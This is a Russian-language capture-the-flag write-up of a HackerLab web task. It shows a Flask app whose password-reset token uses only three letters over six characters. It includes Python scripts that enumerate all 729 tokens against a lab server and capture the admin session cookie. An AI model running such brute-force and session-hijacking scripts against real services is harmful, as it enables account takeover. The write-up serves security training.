Writeup Web | Тетрис | HackerLab (WriteUp)

hackerlabtetris.webp

Название: Тетрис
Категория: Web
Уровень: Средний
Ссылка на задание: https://hackerlab.pro/en/categories/web/a5c117da-b8c8-4c0e-9146-37391a47b9e6
Баллы: 500


Reconnaissance

Нас встречает окно авторизации, а также кнопки "Забыли пароль?" и "Нет аккаунта? Создать", давайте создадим. После успешной регистрации нас встречает игра тетрис. И это первый HoneyPot, посколку я залип на минут 30.
1780682984109.webp

Ничего интересного на странице кроме игры нет. Но в задании были исходники, давайте в них заглянем и изучим архитектуру сайта.
1780683112029.webp

Сразу понимаем что перед нами Flask и первая мысль SSTI уязвимость, но не будем торопить коней и давайте изучим структуру страниц.
1780683172302.webp

У нас есть страница admin, но она нам не доступна (кто бы сомневался) и интересные страницы как resent_sent и reset_password.
Теперь мы примерно понимаем, как устроен сайт, настало время самого вкусного, файла main.py, давайте его разбирать.
1780683302658.webp

Из очень интересного здесь странички /reset_password и /reset/<uuid>.
Давайте внимательно рассмотрим /reset_password, а именно функцию _generate_token()
Python:
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    if request.method == 'POST':
        username = request.form['username']
        conn = sqlite3.connect('task.db')
        c = conn.cursor()
        
        user = c.execute("SELECT username, reset_uuid, email FROM users WHERE username=?", (username,)).fetchone()
        
        if not user:
            conn.close()
            return render_template('reset_sent.html')
            
        if user[1] is not None:
            conn.close()
            flash('Reset link has already been sent. Please use the existing link or wait until it expires.')
            return render_template('reset_password.html')
        
        def _generate_token():
            _allowed = [98, 99, 100] # В ascii кодировке это буквы b,c,d
            _result = []
            for _ in range(6): # длина токена
                _v = _allowed[random.randint(0, len(_allowed) - 1)]
                _result.append(chr(_v))
            return ''.join(_result)
            
        reset_uuid = _generate_token()
        
        c.execute("UPDATE users SET reset_uuid=? WHERE username=?",
                 (reset_uuid, username))
        conn.commit()
        conn.close()
        
        return render_template('reset_sent.html')
        
    return render_template('reset_password.html')
Мы видим что здесь есть метод POST который принимает значение username, далее инициализирует подключение к sqlite3 и выполняет такой запрос: "Выбрать из базы пользователей строку username с пользовательским значением", хорошо запомним это.
Теперь мы видим функцию _generate_token()
Python:
def _generate_token():
            _allowed = [98, 99, 100] # В ascii кодировке это буквы b,c,d
            _result = []
            for _ in range(6): # длина токена
                _v = _allowed[random.randint(0, len(_allowed) - 1)]
                _result.append(chr(_v))
            return ''.join(_result)
            
        reset_uuid = _generate_token()
        
        c.execute("UPDATE users SET reset_uuid=? WHERE username=?",
                 (reset_uuid, username))
        conn.commit()
        conn.close()
        
        return render_template('reset_sent.html')
Если объяснять просто, то эта функция генерирует токен из 3 букв (b,c,d) длиной в 6 символов и задаёт его в табилце с reset_uuid.
Так, и теперь посмотрим на страничку /reset/<uuid>.
Python:
@app.route('/reset/<uuid>')
def reset_confirm(uuid):
    conn = sqlite3.connect('task.db')
    c = conn.cursor()
    user = c.execute("SELECT username FROM users WHERE reset_uuid=?", (uuid,)).fetchone()
    
    if user:
        c.execute("UPDATE users SET reset_uuid=NULL WHERE username=?", (user[0],)) # Вот этот коварный момент, запрос задаёт reset_uuid значение NULL после обращения, фактически моментально
        conn.commit()
        conn.close()
        
        session['user'] = user[0]
        return redirect(url_for('index'))
    
    conn.close()
    return "Invalid reset link", 404
Здесь мы видим что при введении правильно сгенерированного токена, выполняется запрос к базе данных и пароль меняется.
ВАЖНО: Я сначла не заметил этого и потерял много времени, но после того как клиент обратился к /reset/<uuid>, он моментально удаляется.
И того, что мы имеем?
При восстановлении пароля, создаётся уникальный токен для пользователя, перейдя по которому мы сможем восстановить пароль и после этого токен сразу же удалится.


Exploitation

Давайте напишем скрипт, который будет перебирать все возможные значения (всего их 729).
Python:
import itertools # библиотека для создания словаря
import requests # библиотека для запросов

def generate_combinations(): # функция генерации токена
    alphabet = ['b', 'c', 'd']  # наши символы которые указаны в коде приложения
    length = 6 # длина токена
    
    combinations = itertools.product(alphabet, repeat=length) # комбинации или же наш лист
    
    token_list = [''.join(item) for item in combinations] # создаём список
    
    return token_list # заставляем функцию возврщать полученные значения

all_tokens = generate_combinations() # сохраняем вывод в переменную

for i in all_tokens: # перебираем каждый токен
  #print(i)
  x = requests.get('http://{IP}:{PORT}/reset/'+i) # Перебираем значения
  if x.status_code == 200: # если наш токен прошёл, то он выведет нам статус и сам токен с сообщением что нашёл
    print("FOUND: =======>",x.status_code, i)
    break
  else:
    print(x.status_code, i) # проверяем что запросы идут
Пример работы программы:
1780684946687.webp
Но не будем забывать о том, что я сказал в начале, после обращения к токену, он сразу же удаляется. Т.е даже если мы найдём верный токен, то из-за скрипта, он сразу же удалится. Я долго думал как быть, и потом наткнулся на Cookie и решил добавить в скрипт функцию которая при успешном переходе по валидному токену будет воровать cookie сессии.
Python:
import itertools
import requests

def generate_combinations():
    alphabet = ['b', 'c', 'd']
    length = 6
    
    combinations = itertools.product(alphabet, repeat=length)
    
    token_list = [''.join(item) for item in combinations]
    
    return token_list

all_tokens = generate_combinations()

for i in all_tokens:
  x = requests.get(f'http://62.173.140.174:16060/reset/{i}', allow_redirects=False)
  if x.status_code == 302: # Код ответа изменился, потому что 200 возвращался главная страница после редиректа
    session_cookie = x.cookies.get_dict() # ворую куки
    print("FOUND: =======>", "status:"+str(x.status_code), "cookie:"+str(session_cookie), "link:"+str(i)) # Вывожу их себе в терминал
    break
  else:
    print(x.status_code, i)
Теперь делаем запрос на восстановление пароля для пользователя admin и начинаем искать сгенерированный токен, как только он обнаружится, скрипт сам сворует cookie и передаст их нам. Вставляем их в свой браузер и переходим по адресу /admin. Флаг у вас в руках!
1111231321.webp
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab